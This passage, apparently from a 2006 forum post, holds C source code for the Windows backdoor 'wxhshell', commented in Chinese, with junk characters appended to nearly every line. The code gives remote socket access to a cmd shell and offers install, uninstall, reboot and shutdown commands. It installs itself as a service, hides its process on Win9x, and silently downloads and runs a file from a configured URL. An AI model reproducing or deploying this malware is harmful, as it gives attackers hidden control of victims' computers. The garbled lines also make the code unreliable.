  else { B#QL M^  
b]"2 VN  
    switch(cmd[0]) { }#&~w 0P  
  ~Po\ En  
  // 帮助 " cNg :  
  case '?': { WejyYqr34-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  k~{Fnkt  
    break; > n1h^AW  
  } We\KDU\n  
  // 安装 iQu^|,tHEM  
  case 'i': { KM5jl9Vv  
    if(Install()) y2GQN:X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (X*'y*:  
    else R08&cd#$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p?}f|mQS)  
    break; '^e0Ud,  
    } hI*`>9l  
  // 卸载 |y klT  
  case 'r': { 'y< t/qo  
    if(Uninstall()) bB y'v/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ywmyr[Uh'  
    else JaA&eT|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); axOi 5  
    break; $y8mK|3.3u  
    } &ycjSBK  
  // 显示 wxhshell 所在路径 0T(O'v}.  
  case 'p': { E1#H{)G  
    char svExeFile[MAX_PATH]; K4_~ruhr  
    strcpy(svExeFile,"\n\r"); N`f!D>b:dn  
      strcat(svExeFile,ExeFile); Rq"VB.ef&{  
        send(wsh,svExeFile,strlen(svExeFile),0); mlD%d!.  
    break; 15o9CaQw4"  
    } :DDO=  
  // 重启 y:~eU  
  case 'b': { ,|6Y\L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S>.q 5  
    if(Boot(REBOOT)) UVz=QEuYb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =sxkrih  
    else { J 0&zb'1  
    closesocket(wsh); 3(MoXA*  
    ExitThread(0); >ze>Xr'm5=  
    } BHEs+ e0  
    break; xT:qe  
    } ;& RUE  
  // 关机 pi|\0lH6W  
  case 'd': { t#a.}Jl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cZ6?P`X  
    if(Boot(SHUTDOWN)) NAJ '><2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f+{c1fb>s  
    else { ur?d6 a  
    closesocket(wsh); n; Lo  
    ExitThread(0); v hRu `Yb  
    } \)FeuLGL9  
    break; 7F,07\c  
    } ^cB49s+{e  
  // 获取shell su,`q  
  case 's': { , - QR  
    CmdShell(wsh); q s v+.aW  
    closesocket(wsh); @P*ylB}?Q  
    ExitThread(0); ~o:rM/!Ba  
    break; =s`XZkh  
  } ,?C|.5  
  // 退出 &/ \O2Aw8  
  case 'x': { h1n*WQ-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J>><o:~@  
    CloseIt(wsh); k}- "0>  
    break; mfj4`3:NV  
    } \El|U#$u'  
  // 离开 YI L'YNH  
  case 'q': { N<p5p0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AmP#'U5  
    closesocket(wsh); ue,#, 3{m  
    WSACleanup(); -L+\y\F  
    exit(1);  -0{T  
    break; d1UVvyH  
        } `)0Rv|?  
  } oxUE79  
  } &r&;<Q  
V*~1,6N [  
  // 提示信息 ,h3269$J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J@oEV=L  
} ?R dmKA  
  } Mi;}.K0J  
=6.8bZT\  
  return; qlz( W  
} <FCj)CP%  
suA+8}o]  
// shell模块句柄 (J6" ;  
int CmdShell(SOCKET sock) Q&oC]u(="&  
{ 5oVLv4Z9u  
STARTUPINFO si; %M|Z}2qv  
ZeroMemory(&si,sizeof(si)); 8:Z@lp^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KC&H*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SNQz8(O  
PROCESS_INFORMATION ProcessInfo; szf"|k!  
char cmdline[]="cmd"; Zkf 3t>[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *54>iO- c  
  return 0; JoZqLy!@  
} 2z'+1+B'  
4JX`>a{<  
// 自身启动模式 /X(@|tk:  
int StartFromService(void) @N,:x\  
{ N BV}4  
typedef struct *ah>-}-  
{ v_y!Oh?EG  
  DWORD ExitStatus; {Q{lb(6Ba  
  DWORD PebBaseAddress; ^VSt9 &  
  DWORD AffinityMask; yw;ghP;  
  DWORD BasePriority; UN cYu9[  
  ULONG UniqueProcessId; xI=}z  
  ULONG InheritedFromUniqueProcessId; $sU5=,  
}   PROCESS_BASIC_INFORMATION; _fczE~O/  
1{SrHdD=  
PROCNTQSIP NtQueryInformationProcess; B'WCN&N  
@5{.K/s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1Z^`l6|2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4M;sD;3  
tQNk=}VR7r  
  HANDLE             hProcess; ovhC4 2i  
  PROCESS_BASIC_INFORMATION pbi; Z7tU0  
.`oJcJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b &\3ps  
  if(NULL == hInst ) return 0; jF%)Bhn(  
r Iya\z1W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /e-ka{WS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zjluX\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tYI ]LL  
V_)5Af3wY  
  if (!NtQueryInformationProcess) return 0; ^CowJ(y(  
.Q=2WCv0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ( z8]FT  
  if(!hProcess) return 0; @-)<|orU4  
-mev%lV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {] t\`fjrg  
LK'S)Jk  
  CloseHandle(hProcess); fhBO~o+K>  
viW~'}^k7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "D ts*  
if(hProcess==NULL) return 0; 21[K[ %  
tnQR<  
HMODULE hMod; uM6CG0  
char procName[255]; (PCimT=5  
unsigned long cbNeeded; |<|28~#  
n/9 LRZD|w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^l]]qdNr  
=:xV(GK}  
  CloseHandle(hProcess); 'Z*\1Ci  
u)q2YLK8  
if(strstr(procName,"services")) return 1; // 以服务启动 e3yorQ][  
5PPPd-'Z_  
  return 0; // 注册表启动 _H~pH7WU  
} @Og\SZhn  
l _kg3e4  
// 主模块 u4b3bH9U  
int StartWxhshell(LPSTR lpCmdLine) LY@1@O2@  
{ 9TYw@o5V  
  SOCKET wsl; &A ;3; R  
BOOL val=TRUE; P?Gd}mdX?m  
  int port=0; `^X RrVX<  
  struct sockaddr_in door; x'E'jh%  
[?|l X$<  
  if(wscfg.ws_autoins) Install(); lKh2LY=j  
VTy,43<  
port=atoi(lpCmdLine); nZ2mEt  
fWtb mUq  
if(port<=0) port=wscfg.ws_port; A&NC0K}G!  
D\45l  
  WSADATA data; ifJv~asp   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J)7,&Gc6  
p=8M0k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _Ewy^;S%L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cM> G>Yzo  
  door.sin_family = AF_INET; ! /|0:QQi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #hy5c,}>  
  door.sin_port = htons(port); ugIm:bg&  
38x[Ad4%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pz*/4  
closesocket(wsl); boC>N   
return 1; h3UZ|B0=  
} O+(. 29  
7 SjF9x  
  if(listen(wsl,2) == INVALID_SOCKET) { ~.PPf/ Z8]  
closesocket(wsl); !L0E03')k  
return 1; ( )JYN5  
} !^Z[z[  
  Wxhshell(wsl); 3X-{2R/ 3  
  WSACleanup(); %KabyvOl)  
)[y!m9Vn  
return 0; CI~hmL0  
wS F!Xx0  
} #K<=xP  
uZqu xu.  
// 以NT服务方式启动 qHC*$v#.V?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SHXa{-  
{ 0,vj,ic*WX  
DWORD   status = 0; :|3"H&FWK  
  DWORD   specificError = 0xfffffff; C1#o<pv  
q_9N+-?{7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nK?k<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DU*g~{8T$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .v #0cQX+.  
  serviceStatus.dwWin32ExitCode     = 0; 8T>3@kF  
  serviceStatus.dwServiceSpecificExitCode = 0; y]QQvCJr3d  
  serviceStatus.dwCheckPoint       = 0; |*]X\UE  
  serviceStatus.dwWaitHint       = 0; zCj*:n  
=#POMK".6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ((RpT0rP\  
  if (hServiceStatusHandle==0) return; #whO2Mv  
&dZ.+#8r  
status = GetLastError(); y]E)2:B[d  
  if (status!=NO_ERROR) 1eE]4Z4Q  
{ JhMrm%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  |(J ?#?  
    serviceStatus.dwCheckPoint       = 0; Sg_-OX@f  
    serviceStatus.dwWaitHint       = 0; ~$y#(YbH  
    serviceStatus.dwWin32ExitCode     = status; -tK;RQYax  
    serviceStatus.dwServiceSpecificExitCode = specificError; $ sA~p_]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K d`l[56#  
    return; +e\:C~2f28  
  } Q?Bj q>  
_Ssv:x c,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o3TBRn,  
  serviceStatus.dwCheckPoint       = 0; FM;;x(sg  
  serviceStatus.dwWaitHint       = 0; \0*yxSg,^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C~ }Wo5  
} xdbu|fC  
3-9J "d !  
// 处理NT服务事件,比如:启动、停止 @ @3)D%h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D:6x*+jah)  
{ r0Y?X\l*  
switch(fdwControl) {R1Cxt}  
{ v:J.d5  
case SERVICE_CONTROL_STOP: eBYaq!t k  
  serviceStatus.dwWin32ExitCode = 0; %`s9yRk9>E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,h wf  
  serviceStatus.dwCheckPoint   = 0; ',J%Mv>Yf  
  serviceStatus.dwWaitHint     = 0; -?%{A%'  
  { M$>WmG1~D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1^WA  
  } QX.F1T 2e?  
  return; t;e]L'z@:  
case SERVICE_CONTROL_PAUSE: of[|b{Ze4~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yNWbI0a  
  break; &>) `P[x  
case SERVICE_CONTROL_CONTINUE: A\PV@w%A i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; . f.j >  
  break; ZAnO$pA  
case SERVICE_CONTROL_INTERROGATE: 4Ow Vt&  
  break; o{-USUGj7  
}; [r/Seg"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `aX}.{.!  
} UQji7K }  
zOu$H[  
// 标准应用程序主函数 i*cE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j_ywG{Jk  
{ G"UH4n[1ur  
I8-&.RE  
// 获取操作系统版本 QLpTz"H  
OsIsNt=GetOsVer(); {7pE9R5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M;RnH##W  
w_z^5\u0  
  // 从命令行安装 a,0o{* (u$  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?w5nKpG#RI  
)Ido|!]0d  
  // 下载执行文件 si mX  
if(wscfg.ws_downexe) { q2j}64o _S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NM.f0{:cj  
  WinExec(wscfg.ws_filenam,SW_HIDE); -) v p&-  
} |z<wPJ,;2  
]BS{,sI  
if(!OsIsNt) { {</$ObK  
// 如果时win9x,隐藏进程并且设置为注册表启动 BI]ut |Qw  
HideProc(); ~cg+BAfu  
StartWxhshell(lpCmdLine); W*/s4 N  
} n`I jG  
else TeN1\rA,  
  if(StartFromService()) RWh}?vs_  
  // 以服务方式启动 W!Ct[t  
  StartServiceCtrlDispatcher(DispatchTable); y3o4%K8  
else M3ZJt'|  
  // 普通方式启动 ?=@Q12R)X  
  StartWxhshell(lpCmdLine); @Qsg.9N3K  
&40JN}  
return 0; $d??(   
}
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只看该作者 1 发表于: 2006-10-10
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